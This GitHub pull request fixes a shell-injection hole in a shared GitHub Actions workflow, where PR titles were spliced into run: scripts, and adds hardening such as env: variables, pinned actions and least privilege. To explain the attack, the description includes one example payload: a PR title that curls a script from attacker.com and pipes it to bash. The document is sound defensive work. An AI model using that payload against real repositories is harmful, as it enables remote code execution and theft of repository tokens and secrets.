Skip to content

PDP-1182 SECCMP-1797: Fix PwnRequest shell injection in jira-id-check.yml#42

Merged
SameeraPriyathamTadikonda merged 5 commits intomainfrom
fix/SECCMP-1797-pwn-request-injection
Apr 8, 2026
Merged

PDP-1182 SECCMP-1797: Fix PwnRequest shell injection in jira-id-check.yml#42
SameeraPriyathamTadikonda merged 5 commits intomainfrom
fix/SECCMP-1797-pwn-request-injection

Conversation

@GAdityaVarma
Copy link
Copy Markdown
Collaborator

@GAdityaVarma GAdityaVarma commented Apr 8, 2026

JIRA: https://progresssoftware.atlassian.net/browse/PDP-1182

SECCMP-1797: Fix PwnRequest Shell Injection in jira-id-check.yml

Vulnerability

This workflow uses pull_request_target which runs with the base repo's write permissions and secrets. The PR title (github.event.pull_request.title) was directly interpolated into shell run: blocks via ${{ }} expressions:

# BEFORE (vulnerable)
PR_TITLE="${{ inputs.pr-title }}"

GitHub Actions renders ${{ }} expressions before the shell executes. An attacker could fork the repo, open a PR with a title like:

"; curl attacker.com/shell.sh | bash; echo "

This would execute arbitrary commands with the repo's write token - classic PwnRequest attack.

Fix

All attacker-controlled inputs are now passed through env: variables instead of direct ${{ }} interpolation in run: blocks:

# AFTER (safe)
env:
  INPUT_PR_TITLE: ${{ inputs.pr-title }}
  EVENT_PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  PR_TITLE="$INPUT_PR_TITLE"

Environment variables are set outside the shell context and accessed safely via $VAR syntax, preventing injection.

Additional hardening

  • Added explicit permissions: pull-requests: read to enforce least privilege (this job only reads PR titles, never writes)

Impact

This central reusable workflow is called by 14 repos across the marklogic org. Fixing it here remediates the injection vector for all callers.

References

Move all attacker-controlled inputs (pr-title, github.event.pull_request.title)
from direct ${{ }} interpolation in shell run blocks to safe env: variables.

This eliminates the script injection vector where a malicious PR title
could execute arbitrary commands with the workflow's write token.

Also adds explicit permissions: pull-requests: read to enforce least privilege.
Copilot AI review requested due to automatic review settings April 8, 2026 08:53
@GAdityaVarma GAdityaVarma changed the title SECCMP-1797: Fix PwnRequest shell injection in jira-id-check.yml PDP-1182 SECCMP-1797: Fix PwnRequest shell injection in jira-id-check.yml Apr 8, 2026
Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens the central jira-id-check.yml GitHub Actions workflow against PwnRequest-style shell injection by avoiding direct ${{ }} interpolation inside run: scripts, and it reduces token privileges for least-privilege execution.

Changes:

  • Pass PR title and other potentially attacker-controlled values into the script via env: variables and reference them as shell variables.
  • Add explicit job-level permissions: pull-requests: read.
  • Minor log output adjustments while preserving the existing title re-fetch via gh pr view.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread .github/workflows/jira-id-check.yml
Replace mutable @main tag with commit SHA 6bd2d14f for the GitHub Action,
and :latest with :3.94.2 for the Docker image.

Using @main or :latest means any commit pushed to the trufflehog repo
takes effect immediately in our workflows - a supply chain risk.
These inputs were defined but never wired into the matching logic:
- regex-pattern: matching always used hardcoded VALID_KEY-[0-9]+
- fail-if-no-jira-id: script always exits 1 when no ID found

Removed the inputs, their env: mappings, local variable assignments,
and debug logging to avoid misleading callers. No caller passes
these inputs today.
Prevents the write token from being persisted to disk (.git/config)
after checkout. This limits exposure if attacker-controlled PR code
could read files from the runner filesystem.
P1 fixes:
- copyright-check.yml: move github.event.pull_request.base.ref to env:
  (branch names can contain shell metacharacters - injection risk)
- trufflehog-scan.yml: add persist-credentials: false to checkout
- trufflehog-scan.yml: move vars.TRUFFLEHOG_EXCLUDES to env:

P2 fixes (defense-in-depth):
- trufflehog-scan.yml: move step output counts to env: in Process step
- copyright-check.yml: move step outputs (config-file, status) to env:
- copyright-check.yml: move base.sha, head.sha, base.ref to env: in
  Get changed files step
@SameeraPriyathamTadikonda SameeraPriyathamTadikonda merged commit 1952b3c into main Apr 8, 2026
2 checks passed
@SameeraPriyathamTadikonda SameeraPriyathamTadikonda deleted the fix/SECCMP-1797-pwn-request-injection branch April 8, 2026 16:52
SameeraPriyathamTadikonda added a commit that referenced this pull request Apr 8, 2026
Pin all mutable action version tags to immutable commit SHAs to prevent
supply chain attacks where a compromised upstream tag could run malicious
code with elevated pull_request_target permissions.

  actions/checkout@v4        → @34e114876b (v4)
  actions/github-script@v7   → @f28e40c7f3 (v7)
  actions/setup-python@v4    → @7f4fc3e22c (v4)

This was one of the findings from SECCMP-1797 / PDP-1182 security review
(Aditya's PR #42 — trufflehog-scan.yml pinning).

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants